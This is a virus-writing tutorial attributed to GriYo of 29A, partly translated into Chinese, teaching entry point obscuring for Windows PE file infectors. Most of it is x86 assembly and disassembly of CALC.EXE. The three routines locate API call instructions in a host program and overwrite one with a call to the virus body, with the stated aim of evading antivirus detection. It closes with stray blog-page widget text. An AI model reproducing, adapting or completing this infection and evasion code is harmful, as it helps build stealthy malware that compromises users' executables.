EPO: (入口模糊技术)

;----------------------------------------------------------------------------
;EPO: (入口模糊技术)
;by GriYo / 29A
;译:fqh
;----------------------------------------------------------------------------

为了获取控制权,病毒可以通过几种方式修改可执行文件:
       - 修改入口域让入口指向病毒代码
       - 插入一个指向病毒的jump指令来跳过程序代码
第一种方法容易,但在当今几乎所有象样的反病毒工具都会将被感染文件标记为可疑。

原因?一个文件,它的入口位于代码节外部的话,最终它就认为是可疑的。

第二种方法稍微有点复杂。病毒要用jump或call指令重写第一个指令(文件头中的入口域所指出
的)来指向自身。Cabanas病毒使用了这种方法。

使用第二种方法,病毒能欺骗反病毒工具,但其它的一些在扫描时仍然报告发现可疑特征。


其原因?反病毒工具查看文件入口的代码,并探测到有个jump或call位于代码节的外部。

我们可以在跳转到病毒代码jump或call指令前编写一些随机的指令。如果反病毒工具仅仅查看第一个指令,
它将探测不到指向病毒的跳转指令。

Marburg和Parvo病毒使用了这种方法,但现在这不够的。一些反病毒工具能全程跟踪垃圾代码,
并发现位于代码节外部的跳转,这样,再次报告发现可疑特征。

解决方法?我们不得不在宿主代码内部(距文件入口点很远的地方)插入一个jump或call来跳转
到我们的病毒。

为了做到这点,我们可以模拟每个指令直到找到一个保存的地方。

但是等等!没有必要写个病毒调试器。为了快速扫描文件,找到插入跳转到病毒代码的jump或
call指令的地方,我们可以利用PE格式。

怎样?让我们CALCE.EXE的代码节的转储。

 01 .text

  SH_PointerToRawData 00001000
  SH_VirtualAddress 00001000
  SH_SizeOfRawData 0000C000
  SH_VirtualSize  0000BF22
 
  characteristics  60000020

     CODE
     MEM_EXECUTE
     MEM_READ
    
The entry-point is at 00005D30h, and the code there looks like this:

 01285D30 64A100000000   mov    eax,fs:[00000000]
 01285D36 55             push   ebp
 01285D37 8BEC           mov    ebp,esp
 01285D39 6AFF           push   FFFFFFFF
 01285D3B 6808DF2801     push   0128DF08
 01285D40 68D4742801     push   012874D4
 01285D45 50             push   eax
 01285D46 64892500000000 mov    fs:[00000000],esp
 01285D4D 83EC60         sub    esp,00000060
 01285D50 53             push   ebx
 01285D51 56             push   esi
 01285D52 57             push   edi
 01285D53 8965E8         mov    [ebp-18],esp
 01285D56 FF1568D02801   call   [0128D068]
 01285D5C A38CF52801     mov    [0128F58C],eax
 01285D61 33C0           xor    eax,eax

Skip first instructions and go to the one at 01285D56. This instruction takes
the address at  0128D068  and executes the routine there.  At  the  mentioned
address  is  the  value 77F13FD5, which is the entry point of GetVersion api.
So this instruction calls GetVersion.

Now look at the opcodes of this instruction: FF1568D02801

 15FF  CALL indirect
 0128D068 Pointer to the routine entry point

Well, nothing new by now,  but lets walk the reverse way, now we want to find
a  call  to  an api  inside  the  program  code.  So take the entry point raw
(00005D30) and look there:

 00005D30 64 A1 00 00 00 00 55 8B d?   U?
 00005D38 EC 6A FF 68 08 DF 28 01 8j醜.?.
 00005D40 68 D4 74 28 01 50 64 89 h+t(.Pd?
 00005D48 25 00 00 00 00 83 EC 60 %    ?`
 00005D50 53 56 57 89 65 E8 FF 15 SVW賓F?
 00005D58 68 D0 28 01 A3 8C F5 28 h-(.矾)(
 00005D60 01 33 C0 A0 8D F5 28 01 .3+啐)(.
 00005D68 A3 98 F5 28 01 A1 8C F5 窢)(.莜)
 00005D70 28 01 C1 2D 8C F5 28 01 (.--?(.
 00005D78 10 25 FF 00 00 00 A3 94 .%?  拂
 00005D80 F5 28 01 C1 E0 08 03 05 )(.-a...

If we scan this area looking for the  CALL  opcodes (FF15) we will  find them
at 00005D56.  After this  opcodes comes a pointer to the routine entry point,
lets examine it:

 00005D58 68 D0 28 01 -> 0128D068

Lets see whats at 0128D068 in our memory image of the file:

 0128D068 -> Pointer to routine entry point
 01280000 -> Image base address in file header
 --------
 0000D068 -> Rva of routine entry point

Look now at this dump of CALC.EXE imports section:

 02 .rdata

  SH_PointerToRawData 0000D000
  SH_VirtualAddress 0000D000
  SH_SizeOfRawData 00002000
  SH_VirtualSize  00001F0A
 
  characteristics  60000020

     INITIALIZED_DATA
     MEM_READ

Well! it seems that we  have found the form of locating  calls to APIs inside
the code of the host. But the bytes FF15h dont have to belong to an API call.
It could be, for example, of a MOV EAX,0000FF15h. How can be sure?

We will exploit the PE structure in order to extract the name from the API to
which makes reference the CALL instruction.

Look at the raw address corresponding to 0000D068 rva  ( in this example  rva
is equal to raw).

 0000D068 24 E8 00 00

Ought! This isnt the entry point of GetVersion (77F13FD5) but wait!  Look  at
offset  0000E824  in  the file: 

 0000E824 4C 01 47 65 74 56 65 72 L.GetVer
 0000E82C 73 69 6F 6E 00 00 6B 00 sion..k.

This  is how  programs import an api by name.  The  first  word  is  the  api
'hint' and its followed by the api name.

In summary:

 Code section   Imports section
 ------------------------------- -------------------------------

 01285D56 - call [0128D068]
        ^
        '--------->D068 - 24 E8 00 00
      ^ 
         ,----------'
         |
         '->E824 - 4C 01
     E826 - "GetVersion"

Let us put hands to the work. The following code is a first approach to the
exposed:

;----------------------------------------------------------------------------
;Example 1
;
;On entry:
;    ebx -> Host base address
;    ecx -> Pointer to RAW data or NULL if error
;    edx -> Entry-point RVA
;    esi -> Pointer to IMAGE_OPTIONAL_HEADER
;    edi -> Pointer to section header
;    ebp -> Virus delta offset
;
;On exit:
;    ebx -> Not changed
;    ecx -> Pointer to instruction after the api
;           call or NULL if error
;
;----------------------------------------------------------------------------

example_1:   mov edx,dword ptr [esi+OH_ImageBase]
    mov esi,ecx
    mov ecx,dword ptr [edi+SH_VirtualSize]
    sub ecx,eax
    dec ecx
search_call:   lodsw
    dec esi
    cmp ax,15FFh
    je found_call
    loop search_call
    ret   ;Opcode not found
found_call:   inc esi
    lodsd
    sub eax,edx
    mov edx,eax
    push esi
    call RVA2RAW
    pop esi
    jecxz e_get_code_raw
    xchg ecx,esi
    lodsd
    lea esi,dword ptr [ebx+eax]
    lodsw
    mov edx,ecx
    mov ecx,00000020h
    mov edi,esi
    xor eax,eax
IsThisStr:   scasb
    jz OhYesItIs
    loop IsThisStr
    ret  ;Null terminator not found
OhYesItIs:   push edx ;Ptr to next instruction
    push esi
    push dword ptr [ebp+hKERNEL32]
    call dword ptr [ebp+a_GetProcAddress]
    pop ecx
    sub ecx,ebx
    or eax,eax
    jnz e_get_code_raw
    mov ecx,eax
e_get_code_raw:   ret

;End of example 1
;----------------------------------------------------------------------------

Once the virus obtains a valid pointer it can copy the instruction there into
a save buffer and patch it with a jump or call to viral code.

Using this example the code at CALC.EXE entry point now looks like this:

 01285D30 64A100000000   mov    eax,fs:[00000000]
 01285D36 55             push   ebp
 01285D37 8BEC           mov    ebp,esp
 01285D39 6AFF           push   FFFFFFFF
 01285D3B 6808DF2801     push   0128DF08
 01285D40 68D4742801     push   012874D4
 01285D45 50             push   eax
 01285D46 64892500000000 mov    fs:[00000000],esp
 01285D4D 83EC60         sub    esp,00000060
 01285D50 53             push   ebx
 01285D51 56             push   esi
 01285D52 57             push   edi
 01285D53 8965E8         mov    [ebp-18],esp
 01285D56 FF1568D02801   call   [0128D068]
 01285D5C E898800000     call   0128DDF9
 01285D61 33C0           xor    eax,eax

As you can see the instruction:

 01285D5C A38CF52801     mov    [0128F58C],eax

Has been overwritten by this one:

 01285D5C E898800000     call   0128DDF9

This will push into stack the address  of  the  next instruction.  The  virus
can  pop  this  address in order  to  restore the original code there  (saved
while  infecting the file)  and  transfer control back  to the host when  its
work is done.

If you test by yourself you will find that the above code isnt very smart.

Lets  think  on  how  the code  at  example 1 works and see what happens when
handling the following code:
   
   jecxz label
   push ecx
   call CloseHandle
   push eax
label:   ...

And this is how the above code looks once patched:

   jecxz label
   push ecx
   call CloseHandle
   call go2virus

The problem here is the jecxz instruction that may transfer control somewhere
in the  middle  of the call to virus.  So  if ecx is 00000000h our virus wont
execute, and the jecxz will jump to an invalid position.

The previous example is incorrect on purpose, it is good to show one of the
most common pitfalls when we patch an executable.

Lets modify the code on example 1 to handle this situation.

;----------------------------------------------------------------------------
;Example 2
;
;On entry:
;    ebx -> Host base address
;    ecx -> Pointer to RAW data or NULL if error
;    edx -> Entry-point RVA
;    esi -> Pointer to IMAGE_OPTIONAL_HEADER
;    edi -> Pointer to section header
;    ebp -> Virus delta offset
;
;On exit:
;    ebx -> Not changed
;    ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------

example_2:   mov edx,dword ptr [esi+OH_ImageBase]
    mov esi,ecx
    mov ecx,dword ptr [edi+SH_VirtualSize]
search_call:   push ecx
    lodsw
    dec esi
    cmp ax,15FFh
    jne NoCallOpcode
    push esi
    inc esi
    lodsd
    sub eax,edx
    mov edx,eax
    push esi
    call RVA2RAW
    pop esi
    jecxz NextApe
    xchg ecx,esi
    lodsd
    sub eax,edx
    lea esi,dword ptr [eax+ebx]
    lodsw
    mov edx,ecx
    mov ecx,00000020h
    mov edi,esi
    xor eax,eax
IsThisStr:   scasb
    jz FoundNull
    loop IsThisStr
NextApe:   pop esi
NoCallOpcode:   pop ecx
    loop search_call
ExitApe:   ret   ;Opcode not found
FoundNull:   push edx
    push esi
    push dword ptr [ebp+hKERNEL32]
    call dword ptr [ebp+a_GetProcAddress]
    pop ecx
    sub ecx,ebx
    sub ecx,00000006h
    or eax,eax
    jz NextApe
    pop eax
    pop eax
    ret

;End of example 2
;----------------------------------------------------------------------------

Now we overwrite the api call with our call to virus body, instead of writing
it next.  Using  this way we  will never overwrite any instruction except the
api call.  Lets return to our example using CALC.EXE as goat.

This was CALC.EXE original code before infection:

 01285D30 64A100000000   mov    eax,fs:[00000000]
 01285D36 55             push   ebp
 01285D37 8BEC           mov    ebp,esp
 01285D39 6AFF           push   FFFFFFFF
 01285D3B 6808DF2801     push   0128DF08
 01285D40 68D4742801     push   012874D4
 01285D45 50             push   eax
 01285D46 64892500000000 mov    fs:[00000000],esp
 01285D4D 83EC60         sub    esp,00000060
 01285D50 53             push   ebx
 01285D51 56             push   esi
 01285D52 57             push   edi
 01285D53 8965E8         mov    [ebp-18],esp
 01285D56 FF1568D02801   call   [0128D068]
 01285D5C A38CF52801     mov    [0128F58C],eax
 01285D61 33C0           xor    eax,eax

And this is once infected using code on example 2:

 01285D30 64A100000000   mov    eax,fs:[00000000]
 01285D36 55             push   ebp
 01285D37 8BEC           mov    ebp,esp
 01285D39 6AFF           push   FFFFFFFF
 01285D3B 6808DF2801     push   0128DF08
 01285D40 68D4742801     push   012874D4
 01285D45 50             push   eax
 01285D46 64892500000000 mov    fs:[00000000],esp
 01285D4D 83EC60         sub    esp,00000060
 01285D50 53             push   ebx
 01285D51 56             push   esi
 01285D52 57             push   edi
 01285D53 8965E8         mov    [ebp-18],esp
 01285D56 E898800000     call   0128DDF3
 01285D5B 01  db 01h
 01285D5C A38CF52801     mov    [0128F58C],eax
 01285D61 33C0           xor    eax,eax

Note that our injected call instruction uses less bytes than the api call. As
result everything stays on its place,  except  for the call,  that  now  will
transfer control to our virus.

Also  note  that  we are working with the first api call found from the entry
point  to  the  end of code section.  But we can skip some apis until a point
somewhere deep-inside code section. Let modify example 2 to do this:

;----------------------------------------------------------------------------
;Example 3
;
;On entry:
;    ebx -> Host base address
;    ecx -> Pointer to RAW data or NULL if error
;    edx -> Entry-point RVA
;    esi -> Pointer to IMAGE_OPTIONAL_HEADER
;    edi -> Pointer to section header
;    ebp -> Virus delta offset
;
;On exit:
;    ebx -> Not changed
;    ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------

example_3:   mov eax,dword ptr [edi+SH_VirtualSize]
    shr eax,01h
    call get_rnd_range
    mov edx,dword ptr [esi+OH_ImageBase]
    lea esi,dword ptr [eax+ecx]
    mov ecx,dword ptr [edi+SH_VirtualSize]
    sub ecx,eax
search_call:   push ecx
    lodsw
    dec esi
    cmp ax,15FFh
    jne NoCallOpcode
    push esi
    inc esi
    lodsd
    sub eax,edx
    mov edx,eax
    push esi
    call RVA2RAW
    pop esi
    jecxz NextApe
    xchg ecx,esi
    lodsd
    sub eax,edx
    lea esi,dword ptr [eax+ebx]
    lodsw
    mov edx,ecx
    mov ecx,00000020h
    mov edi,esi
    xor eax,eax
IsThisStr:   scasb
    jz FoundNull
    loop IsThisStr
NextApe:   pop esi
NoCallOpcode:   pop ecx
    loop search_call
ExitApe:   ret   ;Opcode not found
FoundNull:   push edx
    push esi
    push dword ptr [ebp+hKERNEL32]
    call dword ptr [ebp+a_GetProcAddress]
    pop ecx
    sub ecx,ebx
    sub ecx,00000006h
    or eax,eax
    jz NextApe
    pop eax
    pop eax
    ret

;End of example 3
;----------------------------------------------------------------------------

The above code gets a random number from 00000000h to the end of code section
size,  and start searching there for any api call.  Yes,  the  random  number
generator and the RVA2RAW routines arent included, write your own ones.

While playing with the above stuff i found the following problems:

 - Lots of files never got infection
 - The search procedure usually exits due to exceptions
 
Files  generated with  Borland  linker  does not use the calling structure we
saw before. So we have to handle them in a different way.  Binded  files also
need some special care.

Another *not-so-much-smart* part is to use  GetProcAddress  to  check the API
name.  Would  be better to check whenever a RVA points inside Import Section.

I admit it,  the above examples are pure shit, but enough  to  easily explain
the idea behind.

Using this  method  the  virus  entry-point  will be definetively hidden  and
a virus using this plus a polymorphic engine may be really hard to spot.

If the polymorphic engine succesfully  produces a complete random pattern and
the entry point to this pattern of code  is  unknown the virus will  be  safe
of lame AV detection technics for long time.

I wrote the whole routine again  keeping in mind all this problems.  You  can
find the result in the source code of the CTX-Phage virus. It  shows  how  to
implement   the   "EPO"  tech   in   conjuntion   with   strong   polymorphic
encryption.

Another possibility is to locate structures generated by high level languages
compilers. For instance:

 01012420 55             push   ebp
 01012421 8BEC           mov    ebp,esp

I leave this part to you, have fun.

--
GriYo / 29A

I'm not in the business...
...I am the business

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值